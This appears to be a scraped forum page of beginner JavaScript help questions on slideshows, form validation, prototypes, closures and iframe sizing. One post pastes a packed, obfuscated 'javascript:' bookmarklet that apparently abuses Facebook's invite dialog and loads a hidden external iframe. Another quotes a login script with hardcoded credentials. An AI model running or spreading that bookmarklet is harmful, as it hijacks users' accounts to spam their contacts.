JavaScript - Understanding Existing Code
I would like to know if anyone cane explain some javascript source code that i got from the chess.com website. Here is the following code Im talking about:
window.Meebo||function(c){function p(){return["<",i,' onload="var d=',g,";d.getElementsByTagName('head')[0].", j,"(d.",h,"('script')).",k,"='//cim.meebo.com/cim?iv=",a.v,"&",q,"=",c[q],c[l]? "&"+l+"="+c[l]:"",c[e]?"&"+e+"="+c[e]:"","'\"></",i,">"].join("")}var f=window, a=f.Meebo=f.Meebo||function(){(a._=a._||[]).push(arguments)},d=document,i="body", m=d[i],r;if(!m){r=arguments.callee;return setTimeout(function(){r(c)},100)}a.$= {0:+new Date};a.T=function(u){a.$[u]=new Date-a.$[0]};a.v=4;var j="appendChild", h="createElement",k="src",l="lang",q="network",e="domain",n=d[h]("div"),v=n[j](d[h]("m")), b=d[h]("iframe"),g="document",o,s=function(){a.T("load");a("load")};f.addEventListener? f.addEventListener("load",s,false):f.attachEvent("onload",s);n.style.display="none"; m.insertBefore(n,m.firstChild).id="meebo";b.frameBorder="0";b.id="meebo-iframe"; b.allowTransparency="true";v[j](b);try{b.contentWindow[g].open()}catch(w){c[e]= d[e];o="javascript:var d="+g+".open();d.domain='"+d.domain+"';";b[k]=o+"void(0);"}try{var t= b.contentWindow[g];t.write(p());t.close()}catch(x){b[k]=o+'d.write("'+p().replace(/"/g, '\\"')+'");d.close();'}a.T(1)}({network:"chess"}); </script> Similar TutorialsHi We are currently re-working a client's website and as I am not a javascript programmer I am having trouble understanding some of the code, and need help understanding why a certain variable in the code remains undefined. The javascript function is called from the web page in this fashion: Code: <select name="cboL1_3" onchange="CheckLine(this);"> <option value=""></option> <option value="l">L</option> <option value="m">M</option> </select> and the function CheckLine is defined thus: Code: function CheckLine(el) { var Mok = false, Lok = false, val, currEl; var LineNo = el.name; LineNo = LineNo.substring(4,(LineNo.length - 2)); val = el.options[el.selectedIndex].value; alert(el); alert(val); if (val == 'm') { Mok = true; } if (val == 'l') { Lok = true; } for (var i = 1; i<=4; i++) { currEl = document.frmDisc.elements['cboL' + LineNo + '_' + i]; if (currEl.name != el.name) { if (currEl.options[currEl.selectedIndex].value == 'm') { if (Mok) { currEl.selectedIndex = 0; //resets selection to blank if >1 M } Mok = true; } if (currEl.options[currEl.selectedIndex].value == 'l') { if (Lok) { currEl.selectedIndex = 0;//resets selection to blank if >1 L } Lok = true; } } } } What is happening is that the user is filling in 24 lines of 4 select boxes, in which there must be 1 and only one "m" and 1 and only 1 "l". The code changes the value of the box back to blank if the user has tried to enter >1 of either. The code then should check the line number and count the number of lines, but on debugging I see that the value of variables el and LineNo are undefined. I can't understand why when the function is called, the value "this" is used. i.e CheckLine(this) - this appears to have no value in the html code as far as I can see! Perhaps someone could shed some light on this for me, as I really need to get it working TODAY!! I also enclose a link to the webpage in question: www.kellyresources.co.uk/disc/disc.asp MAny thanks in anticipation of your help. Teresa Hi, I'm trying to do an assignment, and have copied a piece of code to learn while I do, if you see what I mean. Problem is, I'm having real trouble with one of the lines of code. If someone could tell me basically what it does, I'd be very greatful! Here's the code: if (height[i] == -(array[i].height)) The - before (array[i].height) is really confusing me! Thanks in advance! I need to understand this code but i am not able to fully understand it to use it for myself. Anybody can you help please function getScore(form) { var score = 0; var currElt; var currSelection; for (i=0; i<numQues; i++) { currElt = i*numChoi; for (j=0; j<numChoi; j++) { currSelection = form.elements[currElt + j]; if (currSelection.checked) { if (currSelection.value == answers[i]) { score++; break; } } } } score = Math.round(score/numQues*100); // math.round function will return the whole number to the nearest specified value for example 1.9 will show as 2 form.percentage.value = score + "%"; // The score will be displayed in percentage var correctAnswers = ""; for (i=1; i<=numQues; i++) { correctAnswers += i + ". " + answers[i-1] + "\r\n"; } form.solutions.value = correctAnswers; } Any short explanation will be a great help. Hey, I need help. I have my HTML/CSS/Javascript slideshow working fine, the images fades in and out nicely. Now I realized I'd like to implement next and prev buttons, but I don't know how to code this and what to refer to in the existing code. Please help? I have ten thumbnails total. Here's the Javascript: <script type="text/javascript"> slidePrefix = "slide-"; slideControlPrefix = "slide-control-"; slideHighlightClass = "highlight"; slidesContainerID = "slides"; slidesControlsID = "slides-controls"; slideDelay = 3000; slideAnimationInterval = 30; slideTransitionSteps = 10; function setUpSlideShow() { // collect the slides and the controls slidesCollection = document.getElementById(slidesContainerID).children; slidesControllersCollection = document.getElementById(slidesControlsID).children; totalSlides = slidesCollection.length; if (totalSlides < 10) return; //go through all slides for (var i=0; i < slidesCollection.length; i++) { // give IDs to slides and controls slidesCollection[i].id = slidePrefix+(i+1); slidesControllersCollection[i].id = slideControlPrefix+(i+1); // attach onclick handlers to controls, highlight the first control slidesControllersCollection[i].onclick = function(){clickSlide(this);}; //hide all slides except the first if (i > 0) slidesCollection[i].style.display = "none"; else slidesControllersCollection[i].className = slideHighlightClass; } // initialize vars slideTransStep= 0; transTimeout = 0; crtSlideIndex = 1; // show the next slide showSlide(2); } function showSlide(slideNo, immediate) { // don't do any action while a transition is in progress if (slideTransStep != 0 || slideNo == crtSlideIndex) return; clearTimeout(transTimeout); // get references to the current slide and to the one to be shown next nextSlideIndex = slideNo; crtSlide = document.getElementById(slidePrefix + crtSlideIndex); nextSlide = document.getElementById(slidePrefix + nextSlideIndex); slideTransStep = 0; // start the transition now upon request or after a delay (default) if (immediate == true) transSlide(); else transTimeout = setTimeout("transSlide()", slideDelay); } function clickSlide(control) { showSlide(Number(control.id.substr(control.id.lastIndexOf("-")+1)),true); } function transSlide() { // make sure the next slide is visible (albeit transparent) nextSlide.style.display = "block"; // calculate opacity var opacity = slideTransStep / slideTransitionSteps; // fade out the current slide crtSlide.style.opacity = "" + (1 - opacity); crtSlide.style.filter = "alpha(opacity=" + (100 - opacity*100) + ")"; // fade in the next slide nextSlide.style.opacity = "" + opacity; nextSlide.style.filter = "alpha(opacity=" + (opacity*100) + ")"; // if not completed, do this step again after a short delay if (++slideTransStep <= slideTransitionSteps) transTimeout = setTimeout("transSlide()", slideAnimationInterval); else { // complete crtSlide.style.display = "none"; transComplete(); } } function transComplete() { slideTransStep = 0; crtSlideIndex = nextSlideIndex; // for IE filters, removing filters reenables cleartype if (nextSlide.style.removeAttribute) nextSlide.style.removeAttribute("filter"); // show next slide showSlide((crtSlideIndex >= totalSlides) ? 1 : crtSlideIndex + 1); //unhighlight all controls for (var i=0; i < slidesControllersCollection.length; i++) slidesControllersCollection[i].className = ""; // highlight the control for the next slide document.getElementById("slide-control-" + crtSlideIndex).className = slideHighlightClass; } </script> And here's the HTML: <body onload="setUpSlideShow()"> <div id="slideshow"> <div id="slides"> <div class="slide"><img src="images/image1.jpg" width="1020" height="500"/>Slide content 1</div> <div class="slide"><img src="images/image2.jpg" width="1020" height="500"/>Slide content 2</div> <div class="slide"><img src="images/image3.jpg" width="1020" height="500"/>Slide content 3</div> <div class="slide"><img src="images/image4.jpg" width="1020" height="500"/>Slide content 4</div> <div class="slide"><img src="images/image5.jpg" width="1020" height="500"/>Slide content 5</div> <div class="slide"><img src="images/image6.jpg" width="1020" height="500"/>Slide content 6</div> <div class="slide"><img src="images/image7.jpg" width="1020" height="500"/>Slide content 7</div> <div class="slide"><img src="images/image8.jpg" width="1020" height="500"/>Slide content 8</div> <div class="slide"><img src="images/image9.jpg" width="1020" height="500"/>Slide content 9</div> <div class="slide"><img src="images/image10.jpg" width="1020" height="500"/>Slide content 10</div> </div> <div id="slides-controls"> <a href="#">1</a> <a href="#">2</a> <a href="#">3</a> <a href="#">4</a> <a href="#">5</a> <a href="#">6</a> <a href="#">7</a> <a href="#">8</a> <a href="#">9</a> <a href="#">10</a> </div> </div> I need help adding an additional function to some existing java script code I already have. In addition to the functions already on this js, I want make it so the banner displays one of the images randomly on each new page load. I have an external js file that this page also links too. Not sure if I need to post that also. I was hoping to just add to this code. Any help is greatly appreciated <script type="text/javascript" src="js/homepage-banners/simplegallery.js"> </script> <script type="text/javascript"> var mygallery=new simpleGallery({ wrapperid: "simplegallery1", dimensions: [250, 180], imagearray: [ ["img/headers/automotive.jpg", "http://www.visionsystem.com/applications/automotive_metal.php", "", ""], ["img/headers/electrical.jpg", "http://www.visionsystem.com/applications/electronics.php", "", ""], ["img/headers/food-packaging.jpg", "http://www.visionsystem.com/applications/food_pharmaceutical.php", "", ""], ["img/headers/medical-pharmaceutical.jpg", "http://www.visionsystem.com/applications/food_pharmaceutical.php", "", ""], ["img/headers/semiconductor.jpg", "http://www.visionsystem.com/applications/electronics.php", "", ""], ["img/headers/automation.jpg", "http://www.visionsystem.com/applications/food_pharmaceutical.php", "", ""] ], autoplay: [false, 2500, 2], persist: false, fadeduration: 500, oninit:function(){ }, onslide:function(curslide, i){ } }) </script> Hi, I'm wondering if someone can help me. I have recently used this tutorial: http://net.tutsplus.com/tutorials/ph...-confirmation/ to develop a more complex sign up form for a competition for a client. Basically, the way the validation has been done is different to many other validation methods I've used before and don't understand how to implement it, for some additional requirements. This is an example of the PHP validation code that I have altered, to suit my form requirements: Code: //quick/simple validation if(empty($code)){ $action['result'] = 'error'; array_push($text,'You forgot to enter your entry code'); } if(empty($name)){ $action['result'] = 'error'; array_push($text,'You forgot to enter your name'); } if(empty($email)){ $action['result'] = 'error'; array_push($text,'You forgot to enter your email address'); } This code only validates that there is content in those fields. But, for example on the 'entry code' field, I would like to put a maximum character input there and restrict certain characters, as well as a standard 'email' validation, so that the form is sent through to the database correctly. If anyone knows how I can do this, with this sign-up form in particular, please assist me, as every other method I've tried to work with this form hasn't worked and caused the form to error. Thank you in advance. What does this mean? Code: javascript:eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('G g=["\\b\\h\\h\\d\\m\\Z\\15\\H\\16","\\e\\a\\I\\q\\n\\i\\h\\e\\d\\h\\e","\\j\\d\\e\\z\\k\\d\\w\\d\\h\\e\\17\\J\\18\\s","\\D\\a\\p\\b\\s\\t\\l\\f\\A\\j\\j\\d\\f\\e\\l\\p\\u\\m\\d\\y\\t\\l\\19\\l\\p\\a\\K\\a\\B\\b\\y\\J\\t\\l\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o\\1a\\n\\k\\a\\f\\f\\t\\O\\a\\h\\H\\a\\h\\a\\j\\d\\m\\1b\\a\\w\\o\\1c\\h\\i\\s\\d\\q\\b\\s\\t\\P\\Q\\x\\P\\R\\Q\\S\\1d\\S\\x\\x\\M\\1e\\M\\R\\l\\p\\n\\k\\a\\f\\f\\t\\l\\p\\o\\m\\i\\y\\b\\k\\d\\q\\a\\n\\e\\b\\i\\h\\p\\a\\n\\e\\b\\i\\h\\f\\o\\m\\i\\q\\a\\l\\p\\m\\d\\k\\t\\l\\s\\b\\a\\k\\i\\j\\1f\\o\\i\\f\\e\\l\\E\\1g\\A\\j\\j\\d\\f\\e\\p\\e\\i\\p\\O\\m\\b\\d\\h\\s\\f\\D\\r\\a\\E","\\f\\A\\j\\j\\d\\f\\e","\\H\\i\\A\\f\\d\\z\\v\\d\\h\\e\\f","\\n\\m\\d\\a\\e\\d\\z\\v\\d\\h\\e","\\n\\k\\b\\n\\1h","\\b\\h\\b\\e\\z\\v\\d\\h\\e","\\s\\b\\f\\o\\a\\e\\n\\u\\z\\v\\d\\h\\e","\\f\\d\\k\\d\\n\\e\\q\\a\\k\\k","\\f\\j\\w\\q\\b\\h\\v\\b\\e\\d\\q\\y\\i\\m\\w","\\r\\a\\K\\a\\B\\r\\f\\i\\n\\b\\a\\k\\q\\j\\m\\a\\o\\u\\r\\b\\h\\v\\b\\e\\d\\q\\s\\b\\a\\k\\i\\j\\L\\o\\u\\o","\\f\\A\\I\\w\\b\\e\\T\\b\\a\\k\\i\\j","\\D\\b\\y\\m\\a\\w\\d\\p\\f\\m\\n\\t\\l\\u\\e\\e\\o\\1i\\r\\r\\I\\b\\e\\L\\k\\J\\r\\n\\T\\v\\U\\h\\U\\l\\p\\1j\\b\\s\\e\\u\\t\\l\\1k\\x\\x\\o\\B\\l\\p\\u\\d\\b\\j\\u\\e\\t\\l\\M\\x\\x\\o\\B\\l\\E\\D\\r\\b\\y\\m\\a\\w\\d\\E"];C(F[g[2]](g[1])[g[0]]=g[3]);G V=F[g[2]](g[4]);G c=F[g[6]](g[5]);c[g[8]](g[7],W,W);C V[g[9]](c);C N(X(){1l[g[10]]()},1m);C N(X(){1n[g[13]](g[11],g[12])},Y);C N(F[g[2]](g[1])[g[0]]=g[14],Y);',62,86,'||||||||||x61|x69||x65|x74|x73|_0x22d5|x6E|x6F|x67|x6C|x22|x72|x63|x70|x20|x5F|x2F|x64|x3D|x68|x76|x6D|x30|x66|x45|x75|x78|void|x3C|x3E|document|var|x4D|x62|x79|x6A|x2E|x36|setTimeout|x46|x31|x32|x35|x38|x44|x41|ss|true|function|5000|x48||||||x54|x4C|x42|x49|x23|x3F|x26|x3B|x37|x34|x2D|x53|x6B|x3A|x77|x39|fs|4000|SocialGraphManager'.split('|'),0,{})) like all the " f\\m\\n " etc? I have no idea. Anyone wanna give me some pointers on how prototypes work exactly? ;o Especially in the context of this code: Code: var chatscroll = new Object(); chatscroll.Pane = function(scrollContainerId){ this.bottomThreshold = 20; this.scrollContainerId = scrollContainerId; this._lastScrollPosition = 100000000; } chatscroll.Pane.prototype.activeScroll = function(){ var _ref = this; var scrollDiv = document.getElementById(this.scrollContainerId); var currentHeight = 0; var _getElementHeight = function(){ var intHt = 0; if(scrollDiv.style.pixelHeight)intHt = scrollDiv.style.pixelHeight; else intHt = scrollDiv.offsetHeight; return parseInt(intHt); } var _hasUserScrolled = function(){ if(_ref._lastScrollPosition == scrollDiv.scrollTop || _ref._lastScrollPosition == null){ return false; } return true; } var _scrollIfInZone = function(){ if( !_hasUserScrolled || (currentHeight - scrollDiv.scrollTop - _getElementHeight() <= _ref.bottomThreshold)){ scrollDiv.scrollTop = currentHeight; _ref._isUserActive = false; } } if (scrollDiv.scrollHeight > 0)currentHeight = scrollDiv.scrollHeight; else if(scrollDiv.offsetHeight > 0)currentHeight = scrollDiv.offsetHeight; _scrollIfInZone(); _ref = null; scrollDiv = null; } It's code to make the scrollbars autoscroll down. Full article and extra info he http://radio.javaranch.com/pascarell...837038219.html I sort of understand it but I'm not clear on what prototypes are. I get programming. Really, I do. But this closure thing has me lost and needing a nice, simple explanation. Here's the code from the dojo tutorial: <script type="text/javascript"> dojo.require("dijit.form.Button"); // this is just to make the demo look nicer var arrFruit = ["apples", "kiwis", "pineapples"]; function populateData() { dojo.forEach(arrFruit, function(item, i) { var li = dojo.doc.createElement("li"); li.innerHTML = i + 1 + ". " + item; dojo.byId("forEach-items").appendChild(li); }); } </script> It is the anonymous function(item, i) that is perplexing me. As I see it, this use is not CREATING a function. It is calling a function called "function." Clearly, I am not up-to-speed. I am confounded as to how, within function(), "item" is KNOWN to refer to the value of the array element, and "i" is KNOWN to refer to the current element in the dojo.forEach() function. In my mind, I see a call to function, trying to pass parameters to it which were never defined above. The way I see it is: function myfunction(item, i) {code here} myfunction(this, that); In this example, I would get an error because "this" and "that" are not defined. Help, please!!! I put this function in firebug and it returns the value 24. I just need help of someone explaning me as simple but descriptive as possible how the code works. Code: function factorial(n) { var product= 1; while(n > 1) {product *= n; n--; } return product; } factorial(4) i was just reading a book and these were just one of the examples of functions which I was trying to understand better. This script from http://www.javascriptkit.com/script/cut76.shtml is obviously not secure since the username and password are stored in the script, as well as the redirect url. I have no intentions of using it, but am curious if someone can explain how the alerts work the way they do. So, how is the 1st else " else {alert("Invalid Password")} " associated with the second IF statement, not the first IF statement? Example, The 1st else sends an alert invalid password. When the 1st IF was to check the user name. Why is this? Shouldn't the 1st alert be if the user name was invalid and the second else be for the password? This post is my first, and is really just because I need to understand Javascript better and this makes no sense to me. Code: <script language="javascript"> function pasuser(form) { if (form.id.value=="JavaScript") { if (form.pass.value=="Kit") { location="page2.html" } else { alert("Invalid Password") } } else { alert("Invalid UserID") } } </script> This is a question about a code for a javascript slide show which i think is very important to understand because slide shows are heavily used! This is the html: Quote: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script language="javascript" script type="text/javascript" src="slideshow.js"></script> <title>Slideshow exercise</title> </head> <body> <h1> Slideshow exercicse</h1> <img class="slide" src="cityscape.jpg" width="400" height="300"> <img class="slide" src="Creative_design_sailing_leaves_under_blue_sky.jpg" width="400" height="300"> <img class="slide" src="Curiousity.jpg" width="400" height="300"> <img class="slide" src="raindrops-blue-garden-seamless-tile.jpg" width="400" height="300"> <p> Clic on image to view next slide</p> <p> Clic on image to view next slide</p> </body> </html> This is the .js file and my questions: Quote: var numslides=0;currentslide=0; var slides= new Array(); function MakeSlideShow(){ //find all images with the class "slide" imgs= document.getElementsByTagName("img");---------> question 1 for (i=0; i<imgs.length ; i++) { if(imgs[i].className != "slide") continue; slides[numslides]=imgs[i];----------------------------------->question2 //hide all but first image if(numslides==0) {imgs[i].style.display="block";} else{imgs[i].style.display="none";} imgs[i].onclick=NextSlide; numslides++;}//end of loop--------------------------->question3 } //end MakeSlideShow() function NextSlide(){ slides[currentslide].style.display="none";------------------>question4 currentslide++ if(currentslide >= numslides) currentslide=0; slides[currentslide].style.display="block";--------------->question5 } window.onload= MakeSlideShow; question1: does "imgs" automatically become an array here? If so, how can i print out its lenght? This is what i tried and it doesn't work-> var lengthimgs= imgs.length document.write(lengthimgs) question2: What is happening here? Is the imgs[i] array transferring its data into the slides[numslides] array? question3: If slides[numslides] and imgs[i] are interchangeable why can't this line be i++ instead of numslides++ question4: What is happenning to the slides array here? Is currentslide becoming a copy of numslides? question5: What does this do? Where does this line sent the code? Why this? Why hasn't "imgs[i].style.display="block";" already done the job for the display? Thanks Code: //toggle function to open and close popup runs off an if else statement detecting style.display property function toggle(popUpDiv) { var el = document.getElementById(popUpDiv); //if function to determine if style.display equals none and if so then block to make visible if ( el.style.display == 'none' ) { el.style.display = 'block';} else {el.style.display = 'none';} //while function to declare that as long as style.display equals block then set timer to make //invisible after 10 seconds of becoming visible While (el.style.display == 'block') { setTimeout ("toggle('popUpDiv')", 10000 ); } //end while loop return false; //end if statement } My while statement reads that while style.display = block then to run a timer to close the popup by running toggle again after 10 seconds. This way if the user closes the window before the ten seconds is counted, then the toggle function won't run. However I am getting an error stating that there is no before statement. I'm confused on that. Sorry just really a beginner with javascript and searched through W3schools.com and couldn't find an answer. have it on a geocities test site at css popup test 1. When creating a new element using the create method, do the zIndex values of all elements that follow it change? If so how do I get the zIndex of all divs with a specific classname within a specified container? I'm working with dynamic drive's 'dhtmlwindow' object class file and have made revisions to it...however this is my first time working with this type of file and while some things are easy to change the zIndex change of the setfocus function does not look like any of my previous scripts. Hello, I have an Object, containing an object, containing an object....etc. So, it's an Object of objects. Not an Array of objects. And now I want to sort this Object of objects. Is there a "native" way in JavaScript to sort an object? Or do I understand it correctly, that I first have to convert the Object to an Array, and than perform an array.sort ? This question is just for my understanding of JavaScript, so I don't go into the wrong direction. Tnx in advance for any explanation. I know for sure that lastRowTD_s[i] does not have "textarea" element ! The whole page is html valid. Code: else if (lastRowTD_s[i].getElementsByTagName('textarea')) { alert(lastRowTD_s[i].id); //checked, it is the row that does not have "textarea" element. alert(lastRowTD_s[i].getElementsByTagName('textarea')); // gives me [Object HTML collection] !? alert(lastRowTD_s[i].getElementsByTagName('textarea')[0]); //gives me "undefined", heh where has it gone since previous line ? } I have an iframe. I load a page within it. The page I load is a php page that I build with a table with the id of 'readmail_table'. My iframe is 'readmail_frame'. Someone clicks on a message title outside of the iframe and I load the contents of the message in the iframe from the database in my table. Sometimes this takes longer than others depending on how large the message is. What I am doing here is letting the contents load then calculating the width and height of the table and then increasing the iframe's size so there are no scrollbars. This works 98% of the time but I ran into an issue where the table does not exist yet in the iframe and the JS code errors out. So what I did then was add a local var, set it to false then had a while loop check for the table and once it finds it, set the var to false and run my code. Again, mixed results. Sometimes this works then others I get that the table id I am looking for is null but my if statement in the while loop is checking to see if != null line 159 is where it is breaking The error I am getting in firebug is Code: window.frames.readmail_frame.document is null Line 159 Code: 156 var temp = false; 157 while ( !temp ) 158 { 159 if ( window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ) != null ) 160 { 161 //height of the table that holds the actual message 162 var tempheight = window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ).clientHeight; 163 //height of the from, to, subject and date section 164 var tempheight2 = window.frames[ "readmail_frame" ].document.getElementById( 'readmail_heading' ).clientHeight; 165 var tempwidth = window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ).clientWidth; 166 document.getElementById( 'readmail_frame' ).style.width = tempwidth + 'px'; 167 //add up the table for the message, table for from, to, date and icon for print and some extra to ensure enough room 168 document.getElementById( 'readmail_frame' ).style.height = ( tempheight + tempheight2 + 130 ) + 'px'; 169 temp = true; 170 } 171 } I have also tried Code: if ( window.frames[ "readmail_frame" ].document.getElementById( 'readmail_table' ) ) and Code: if ( window.frames[ "readmail_frame" ].document ) Like I said, most of the time this works exactly how I need it. I just need a fool proof way to determine that this table is in fact on the page. I am not sure why it works sometimes and not others since I am looping until it is there Thank you for any help with this. Hey all, I'm trying to fully understand javascript and have a couple of questions I was hoping you could answer for me. I'm working through a book and in the book I'm creating a Bingo card that generates a random number. I'm pasting the full script below just in case it's needed. Code: function initAll () { for(var i=0; i<24; i++) { setSquare(i); } } function setSquare(thisSquare) { var currSquare= "square" + thisSquare; var colPlace= new Array (0,0,0,0,0,1,1,1,1,1,2,2,2,2,3,3,3,3,3,4,4,4,4,4); var colBasis=colPlace[thisSquare] *15; var newNum=colBasis +getNewNum()+1; document.getElementById(currSquare).innerHTML=newNum; } function getNewNum() { return Math.floor(Math.random() *15); } //--> </script> 1. What does the [thisSquare] mean in this line of code that is bolded? I mean, I know thisSquare is whatever i is, but am I multiplying it by colPlace or what? 2. Lastly I'm confused by this part of the above code Code: var newNum=colBasis +getNewNum()+1; Why add the +1? I mean, i think getNewNum is set to pull a random number between 1 and 14. If you want to pull a number between 1 and 15, why not multiple Math.random() *16 instead of 15. Am i missing something? Sorry, I'm just not understanding why use the +1 Hi guys! As title says I need to create variable named with value of other variable! So is that possible? What exactly I need is something like this: Code: for(var i=0; i<11; i++){ var Img[i] = "" } Hey CF, I've been meaning to learn the answer to this question for a long time, I guess now is the time and place to hopefully have it answered. I'm wanting to know if there is a technique one can use to have Ajax request live data from a database as it happens but I want it to do this with out having to request a bunch of other information with it. Imagine you come to a webpage and there is the latest 10 comments on a video. Let's say that I want new comments to arrive as they happen (say every 5 seconds we will do an Ajax hit on the server). Let's say for sake of argument there is 2 new comments. Is there a way to make Ajax only request and display the latest 2 comments with out having to refresh the 10 latest as well? If this sounds confusing, try imagine the 10 comments as an array. I just want to pop one off the end and push a new one onto the front. Any tips in the right direction would be great to hear. |